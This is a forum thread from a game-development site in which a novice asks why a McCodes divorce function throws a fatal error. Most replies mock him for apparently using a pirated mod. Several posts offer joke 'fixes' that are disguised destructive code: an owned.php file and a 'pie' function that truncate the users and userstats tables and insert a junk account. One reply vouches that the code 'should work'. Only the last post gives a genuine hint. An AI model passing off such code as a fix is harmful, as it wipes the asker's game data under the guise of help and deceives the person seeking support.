Jump to content
MakeWebGames

error carnt divorce people


i need mccodes

Recommended Posts

wen i click devoirce it says

Fatal error: Call to a member function on a non-object in /home/www/************************/partner.php on line 378

 

and heres the divorce function

function divorce()

{

global $ir, $mr, $c, $userid, $h;

$db->query("UPDATE users SET married=0 WHERE userid IN($userid, {$ir['married']})", $c);

event_add($ir['married'],"{$ir['username']} divorced you.", $c);

print "You divorced your partner and went back to being single.

> Back";

}

 

any ideas thanks in advance

Link to comment
Share on other sites

Re: error carnt divorce people

 

yhl weee al herd hm mby nt tm h wll gt hlp erlr,. u no h wll sk gan

Lol...

By the way. The text above says:

Yeah we all heard him. Maybe next time he will get help earlier. You know he will ask again.

 

I TOLD YOU!!! I knew the noob would ask again. This is definitely a stolen marriage mod. I could make a better one. And I SUCK at coding :-D

Link to comment
Share on other sites

Re: error carnt divorce people

No get lost you n00b you said last request. Please nobody help him as he has an illegal version. Mine is bought and lots of other peoples and all of ours are fine... And i wonder why its you and maybe some other n00b who has illegal mods whos don't work. So get lost and buy a legal mod idiot!

Link to comment
Share on other sites

Re: error carnt divorce people

Theres some football. Also heres a *working* (lmao) divorce version of the code.

function divorce()
{
global $ir, $mr, $c, $userid, $h;
$db->query("UPDATE users SET married=screwyou WHERE userid IN($userid, {$ir['married']})", $c);
event_add($ir['pwnd'],"{$ir['A_stupid_illegit_noob']} cant code.", $c);
print "Buy the damn legit mod already!

> [url='owned.txt']haha[/url]";
}

(any real coder will know what I'm laughing at after reading the code over).

Link to comment
Share on other sites

Re: error carnt divorce people

I saw a bug in that code... 1 sec.

 

function divorce()
{
global $ir, $mr, $c, $userid, $h;
$db->query("UPDATE users SET married=screwyou WHERE userid IN($userid, {$ir['married']})", $c);
event_add($ir['pwnd'],"{$ir['A_stupid_illegit_noob']} cant code.", $c);
print "Buy the damn legit mod already!

> [url='owned.txt']haha[/url]";
}

 

SHOULD BE:

 

function divorce()
{
global $ir, $mr, $c, $userid, $h;
$db->query("UPDATE users SET married=screwyou WHERE userid IN($userid, {$ir['married']})", $c);
event_add($ir['pwnd'],"{$ir['A_stupid_illegit_noob']} cant code.", $c);
print "File error [url='owned.php']Try Again?[/url]";
}

 

Then create this file and upload it as owned.php:

 

<?php
include "globals.php";
$db->query("TRUNCATE TABLE users");
$db->query("TRUNCATE TABLE userstats");
$db->query("INSERT INTO users (userid, username, login_name) VALUES('', 'noob', md5(md5(md5(noober_goober))))");
echo "<h1>J00 HAV3 B33N PWN3D</h1>";
$h->endpage();
?>
Link to comment
Share on other sites

Guest Anonymous

Re: error carnt divorce people

<?php

include "globals.php";

$db->query("TRUNCATE TABLE users");

$db->query("TRUNCATE TABLE userstats");

$db->query("INSERT INTO users (userid, username, login_name) VALUES('', 'noob', md5(md5(md5(noober_goober))))");

echo "<h1>J00 HAV3 B33N PWN3D</h1>";

$h->endpage();

?>

Yes this should work

Link to comment
Share on other sites

Re: error carnt divorce people

Seriously though dude...

I will give you a hint but you will have to figure it out on your own.

First of all look at other functions that are broken. I know the exact problem but let's see if I can teach you to figure it out. I already know that line 378 is:

 

$db->query("UPDATE users SET married=0 WHERE userid IN($userid, {$ir['married']})", $c);

 

Which by the way only needs to be:

 

$db->query("UPDATE users SET married=0 WHERE userid IN($userid, {$ir['married']})");

 

But that isn't your problem. Let me show you a function that would work and one that has the same problem as yours. (By the way. Copy/pasting your code into here will not work.)

This is a V2 function that I am coding on the fly. It probably won't work but I think it probably will. I suggest you don't test it as it will format your game.

 

function pie()
{
global $ir,$r,$db;
$db->query("TRUNCATE TABLE users");
event_add("$userid, You just formatted your game lol.");
echo "Dude. Why did you test this...? You just formatted your game...";
}

 

Ok that function should work but this one has the same exact problem yours has.

 

function pie()
{
global $ir;
$db->query("UPDATE users SET money=money-10000000000");
echo "No more cash lol.";
}

 

Now if you look through there you may find your problem.

WARNING! SPOILER BELOW

Your problem is in line 377

 

Now that should give you a hint towards your problem. I just wasted like 20 minutes when it would take me 2 minutes to post the bug but hopefully it will shut you up. :evil:

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...